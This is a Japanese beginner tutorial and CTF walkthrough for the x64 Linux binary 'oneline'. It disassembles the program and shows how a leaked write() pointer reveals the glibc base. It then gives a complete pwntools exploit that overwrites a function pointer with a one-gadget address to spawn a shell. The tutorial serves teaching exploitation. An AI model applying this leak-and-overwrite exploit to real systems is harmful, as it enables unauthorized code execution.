バイナリアン入門 第四回(x64, Linux)

はじめに

CTF問題のonelineのウォークスルーに近いが、今回はone-gadgetと言う初耳のモノを扱ってみる。用途的には前回作成したシェルコードと似ているが、ガジェットコードと呼ばれる命令を実行するだけでシェルを起動できる優れもの。

one-gadgedとは

one-gadgedとは 引数なしで「/bin/sh」を呼び出すガジェットコード のことで、セキュリティ機構などによりシェルコードが実行できないけど、プログラムカウンター(ip)を制御できる場合に利用することができる。このガジェットコードはlibcの中に含まれており、そのアドレスにジャンプすることにより実行できる(正確には実行可能条件が存在するが)

project-one-gadget

対象となる実行ファイルの挙動

最初は、今回対象となるバイナリの動作を確認してみる。
ファイルを実行してみると文字列の入力を促され、入力すると再度入力を促される。
動かした感じ、文字化けしてる部分があるのがちょっと気になるところ。

# ./oneline 
You can input text here!
>> a
a
�tN�Once more again!
>> b
b

今度は、たくさんの文字列を入力するとどうなるのかを試してみる。

# ./oneline 
You can input text here!
>> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault

文字列を入れすぎるとSEGFAULTが発生。

セキュリティ機構のチェック

実行ファイルが備えているセキュリティ機構を確認する

# checksec ./oneline
[*] Checking for new versions of pwntools
    To disable this functionality, set the contents of /root/.pwntools-cache/update to 'never'.
[*] A newer version of pwntools is available on pypi (3.13.0 --> 4.0.1).
    Update with: $ pip install -U pwntools
[*] '/root/sandbox/pwn/1_oneline/oneline'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

それぞれの機構については以下が詳しいので割愛。
- セキュリティコンテストチャレンジブックの2章「pwn」の記事より「ステップ2: 下調べ - 実行ファイルのセキュリティ機構についてまとめてみる

アセンブラ解読

早速、onelineのバイナリを解析してみる。毎回お馴染みのRadare2を利用する。

# r2 -d oneline 
[0x7fef862a2090]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[Warning: Invalid range. Use different search.in=? or anal.in=dbg.maps.x
Warning: Invalid range. Use different search.in=? or anal.in=dbg.maps.x
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Check for objc references
[x] Check for vtables
[TOFIX: aaft can't run in debugger mode.ions (aaft)
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information
[x] Use -AA or aaaa to perform additional experimental analysis.

[0x7fef862a2090]> afl
0x5583cda6b720    1 42           entry0
0x5583cdc6bfe0    1 4124         reloc.__libc_start_main
0x5583cda6b750    4 50   -> 40   sym.deregister_tm_clones
0x5583cda6b790    4 66   -> 57   sym.register_tm_clones
0x5583cda6b7e0    5 58   -> 51   entry.fini0
0x5583cda6b710    1 6            sym..plt.got
0x5583cda6b820    1 10           entry.init0
0x5583cda6b9a0    1 2            sym.__libc_csu_fini
0x5583cda6b9a4    1 9            sym._fini
0x5583cda6b82a    1 67           entry.init1
0x5583cda6b6d0    1 6            sym.imp.setbuf
0x5583cda6b930    4 101          sym.__libc_csu_init
0x5583cda6b86d    1 182          main
0x5583cda6b700    1 6            sym.imp.calloc
0x5583cda6b6e0    1 6            sym.imp.printf
0x5583cda6b6f0    1 6            sym.imp.read
0x5583cda6b6a0    3 23           sym._init
0x5583cda6b000    2 25           map.root_sandbox_pwn_1_oneline_oneline.r_x

[0x7fef862a2090]> s main

[0x5583cda6b86d]> pdf
/ (fcn) main 182
|   int main (int argc, char **argv, char **envp);
|           ; var int32_t var_ch @ rbp-0xc
|           ; var int32_t var_8h @ rbp-0x8
|           ; DATA XREF from entry0 @ 0x5583cda6b73d
|           0x5583cda6b86d      55             push rbp
|           0x5583cda6b86e      4889e5         mov rbp, rsp
|           0x5583cda6b871      4883ec10       sub rsp, 0x10
|           0x5583cda6b875      be01000000     mov esi, 1
|           0x5583cda6b87a      bf28000000     mov edi, 0x28           ; '(' ; 40
|           0x5583cda6b87f      e87cfeffff     call sym.imp.calloc     ; void *calloc(size_t nmeb, size_t size)
|           0x5583cda6b884      488945f8       mov qword [var_8h], rax
|           0x5583cda6b888      488b45f8       mov rax, qword [var_8h]
|           0x5583cda6b88c      488b15450720.  mov rdx, qword [reloc.write] ; [0x5583cdc6bfd8:8]=0
|           0x5583cda6b893      48895020       mov qword [rax + 0x20], rdx
|           0x5583cda6b897      488d3d160100.  lea rdi, qword str.You_can_input_text_here ; 0x5583cda6b9b4 ; "You can input text here!\n>> "
|           0x5583cda6b89e      b800000000     mov eax, 0
|           0x5583cda6b8a3      e838feffff     call sym.imp.printf     ; int printf(const char *format)
|           0x5583cda6b8a8      488b45f8       mov rax, qword [var_8h]
|           0x5583cda6b8ac      ba28000000     mov edx, 0x28           ; '(' ; 40
|           0x5583cda6b8b1      4889c6         mov rsi, rax
|           0x5583cda6b8b4      bf00000000     mov edi, 0
|           0x5583cda6b8b9      e832feffff     call sym.imp.read       ; ssize_t read(int fildes, void *buf, size_t nbyte)
|           0x5583cda6b8be      488b45f8       mov rax, qword [var_8h]
|           0x5583cda6b8c2      488b4020       mov rax, qword [rax + 0x20]
|           0x5583cda6b8c6      488b4df8       mov rcx, qword [var_8h]
|           0x5583cda6b8ca      ba28000000     mov edx, 0x28           ; '(' ; 40
|           0x5583cda6b8cf      4889ce         mov rsi, rcx
|           0x5583cda6b8d2      bf01000000     mov edi, 1
|           0x5583cda6b8d7      ffd0           call rax
|           0x5583cda6b8d9      488d3df10000.  lea rdi, qword str.Once_more_again ; 0x5583cda6b9d1 ; "Once more again!\n>> "
|           0x5583cda6b8e0      b800000000     mov eax, 0
|           0x5583cda6b8e5      e8f6fdffff     call sym.imp.printf     ; int printf(const char *format)
|           0x5583cda6b8ea      488b45f8       mov rax, qword [var_8h]
|           0x5583cda6b8ee      ba28000000     mov edx, 0x28           ; '(' ; 40
|           0x5583cda6b8f3      4889c6         mov rsi, rax
|           0x5583cda6b8f6      bf00000000     mov edi, 0
|           0x5583cda6b8fb      e8f0fdffff     call sym.imp.read       ; ssize_t read(int fildes, void *buf, size_t nbyte)
|           0x5583cda6b900      8945f4         mov dword [var_ch], eax
|           0x5583cda6b903      488b45f8       mov rax, qword [var_8h]
|           0x5583cda6b907      488b4020       mov rax, qword [rax + 0x20]
|           0x5583cda6b90b      8b55f4         mov edx, dword [var_ch]
|           0x5583cda6b90e      488b4df8       mov rcx, qword [var_8h]
|           0x5583cda6b912      4889ce         mov rsi, rcx
|           0x5583cda6b915      bf01000000     mov edi, 1
|           0x5583cda6b91a      ffd0           call rax
|           0x5583cda6b91c      b800000000     mov eax, 0
|           0x5583cda6b921      c9             leave
\           0x5583cda6b922      c3             ret

ここからは、上のmain()関数を上から順番に解析してみる。

Function prologue

お決まりの関数の最初で実行する命令。 関数内でスタックを扱う際の基準となるアドレスをスタックのトップのアドレスと同じにする。

push rbp
mov rbp, rsp

関数内で利用するスタックを16バイト確保する。

sub rsp, 0x10

チャンクの確保

callocをcallしてメモリを確保する。
第1引数となるrdiには、ブロック数40(0x28)を格納し、第2引数となるrsiには、ブロックサイズ1を格納する。
40ブロック×1バイトで40バイト分のメモリが確保され、戻り値としてチャンクのアドレスがraxに格納されるので、それをスタックvar_8hに格納する。

mov esi, 1
mov edi, 0x28           ; '(' ; 40
call sym.imp.calloc     ; void *calloc(size_t nmeb, size_t size)
mov qword [var_8h], rax

callocで確保したチャンクの32バイト目(0x20)の位置に、reloc.write(rdx)のアドレスを格納する。

mov rax, qword [var_8h]
mov rdx, qword [reloc.write] ; [0x5583cdc6bfd8:8]=0
mov qword [rax + 0x20], rdx

writeアドレスのリーク

文字列の入力を促すメッセージを表示する。
第一引数となるrdiには、出力する文字列のアドレスを格納し、ベクトルレジスタ浮動小数点)の設定に関しては、今回は整数型なので0を設定している(詳細は以前の記事を参照)

lea rdi, qword str.You_can_input_text_here ; 0x5583cda6b9b4 ; "You can input text here!\n>> "
mov eax, 0
call sym.imp.printf     ; int printf(const char *format)

ユーザからの入力を受け付けるためにreadをcallする。
第一引数となるediには、ファイルディスクリプタの標準入力(0)を指定し、第二引数となるrsiには上で確保したチャンクのアドレスを指定。
第三引数となるedxには、サイズ40(0x28)を指定する。
これで、ユーザが入力した文字列はvar_8hに格納されることになる。
man: https://linuxjm.osdn.jp/html/LDP_man-pages/man2/read.2.html

mov rax, qword [var_8h]
mov edx, 0x28           ; '(' ; 40
mov rsi, rax
mov edi, 0
call sym.imp.read       ; ssize_t read(int fildes, void *buf, size_t nbyte)

文字列が格納されているチャンクのアドレスをraxレジスタに格納し、32(0x20)バイトシークした位置を再度raxに格納する。
命令的には、ユーザが文字列を入力しすぎなければ、raxにはリークしたwriteのアドレスが格納されたままになる。

mov rax, qword [var_8h]
mov rax, qword [rax + 0x20]

次に、writeをcallしてチャンクの中身を表示する。
第一引数となるediには、ファイルディスクリプタの標準出力(1)を指定し、第二引数となるrsiには上で確保したチャンクのアドレスを指定。第三引数となるedxには、サイズ40(0x28)を指定する。 call raxでは、32バイト以上の文字列を入力していなければwriteのアドレスがraxレジスタに格納されるが、それ以上文字列を入力した場合はwriteのアドレスを破壊するので、Segmentation faultが起きる。

これにより、ユーザが入力した文字列+writeのアドレスがコンソールに出力される。

mov rcx, qword [var_8h]
mov edx, 0x28           ; '(' ; 40
mov rsi, rcx
mov edi, 1
call rax

二度目の入力

次に、もう一度文字列の入力を促すメッセージを表示する。

lea rdi, qword str.Once_more_again ; 0x5583cda6b9d1 ; "Once more again!\n>> "
mov eax, 0
call sym.imp.printf     ; int printf(const char *format)

先程と同じようにreadで読み込む。

mov rax, qword [var_8h]
mov edx, 0x28           ; '(' ; 40
mov rsi, rax
mov edi, 0
call sym.imp.read       ; ssize_t read(int fildes, void *buf, size_t nbyte)

読み込んだ文字列のサイズをスタックvar_chに格納する。

mov dword [var_ch], eax

再度、raxレジスタwriteのアドレスを格納する。

mov rax, qword [var_8h]
mov rax, qword [rax + 0x20]

二度目に入力された文字列のサイズは、var_chに入っているため、それを第三引数となるedxに格納する。
第一引数となるediには、標準出力(1)を設定し、第二引数となるrsiには、チャンクのアドレスを格納し、raxをcallしてwriteを実行する。

mov edx, dword [var_ch]
mov rcx, qword [var_8h]
mov rsi, rcx
mov edi, 1
call rax

関数の戻り値に0を設定して、処理を終了する。

mov eax, 0
leave
ret

攻撃方法

アセンブラを解読したので、どうやって攻撃すればいのかを考える。

  • シェルコードを送る
  • 二度目のcall raxで任意のアドレスを実行させることができそう

セキュリティ機構をもう一度確認してみる。
NX bitが有効になっていると、メモリ領域に置かれたデータをプログラムとして実行できないため、シェルコードは実行できなそう。入力可能なサイズ的にも無理。

任意のアドレスは実行できそうだが、どこのアドレスを指定させようか?と迷った時に使えるのが今回登場する one-gadget と言うコード。
writeのアドレスが入ってる部分をone-gadgetのアドレスで書き換えれば良いのである。

だが、ASLRによってスタックやヒープ、共有ライブラリなどをメモリに配置するときにアドレスの一部はランダム化される問題がある。
one-gadgedglibcのベースアドレスからのオフセットとなるため、どうにかしてglibcのベースアドレスを調べないと攻撃が成功しないのだが、最初の方にwriteのアドレスをリークしている部分があるので、そのアドレスからwriteのオフセットを引いて、glibcのベースアドレスを求めれば良さそうだ。

なので、攻撃の手順としては

  • リークしてるwriteのアドレスからglibcのベースアドレスを求める
  • ベースアドレスにone_gadgetのオフセットを足して実アドレスを求める
  • 二度目のreadで上のアドレスを送り込んで実行させる

必要な情報の準備

onelineがどのような共有ライブラリを使用しているかを確認する。

# ldd oneline 
    linux-vdso.so.1 (0x00007ffc01eae000)
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f7f203cc000)
    /lib64/ld-linux-x86-64.so.2 (0x00007f7f207ae000)

writeのオフセット取得

writeのオフセットを取得する。
色々出てくるけど、これがお目当のやつになる 00000000000eb910 W write

# nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep write
00000000000fa530 T eventfd_write
0000000000073080 W fwrite
000000000007cb90 T fwrite_unlocked
000000000007ed70 T _IO_do_write
000000000007dc50 T _IO_file_write
0000000000073080 T _IO_fwrite
0000000000078cb0 T _IO_wdo_write
00000000000e9c70 T __libc_pwrite
00000000000fb140 T process_vm_writev
00000000000e9c70 W pwrite
00000000000e9c70 W __pwrite64
00000000000e9c70 W pwrite64
00000000000f17f0 T pwritev
00000000000f1a00 T pwritev2
00000000000f17f0 T pwritev64
00000000000f1a00 T pwritev64v2
00000000000eb910 W __write
00000000000eb910 W write
00000000000f0990 T __write_nocancel
00000000000f16a0 W writev

one-gadgetのオフセット取得

onelineで参照しているlibcの共有ライブラリから、one-gadgetの候補を取得する。
one-gadgetのアドレスを調べるのは、one_gadgetが大変便利なので、そちらを利用する。
複数の候補が出てくるが、候補のアドレスでシェルの起動が成功するにはconstraintsの条件がそろった場合のみなので、いくつか試しながら使えるアドレスを決める。

# one_gadget /lib/x86_64-linux-gnu/libc.so.6
0xc84ca execve("/bin/sh", r12, r13)
constraints:
  [r12] == NULL || r12 == NULL
  [r13] == NULL || r13 == NULL

0xc84cd execve("/bin/sh", r12, rdx)
constraints:
  [r12] == NULL || r12 == NULL
  [rdx] == NULL || rdx == NULL

0xc84d0 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL

0xe666b execve("/bin/sh", rsp+0x60, environ)
constraints:
  [rsp+0x60] == NULL

今回は、以下のものが対象になる。
rsp+0x60がNULLの場合は0xe666bのアドレスで実行が可能。

0xe666b execve("/bin/sh", rsp+0x60, environ)
constraints:
  [rsp+0x60] == NULL

エクスプロイト

調べた情報からエクスプロイトコードを作成する。

from pwn import *

context(os="linux", arch="amd64")

con = process("./oneline")
write_offset = 0xeb910
one_gadget_offset = 0xe666b

con.recvuntil('>> ')
con.sendline('test')
msg = con.recvuntil('>> ')
libc_base_addr = unpack(msg[32:40]) - write_offset
print "[*] libc_base_addr = 0x%x" % unpack(msg[32:40])

payload = 'A' * 32
payload += pack(libc_base_addr + one_gadget_offset)
con.sendline(payload)

con.interactive()

実行してみると、無事奪取できた。

# python solve.py 
[+] Starting local process './oneline': pid 26312
[*] libc_base_addr = 0x7f20f89cb910
[*] Switching to interactive mode
$ ls
b  env    libc-2.27.so  oneline  solve.py
$  

まとめ

初めてone-gadgetなるものにふれたが、glibcにこんな便利な命令群が存在してるとは知らなかった。これはセキュリティ機構が色々と有効になっている時に力を発揮しそう。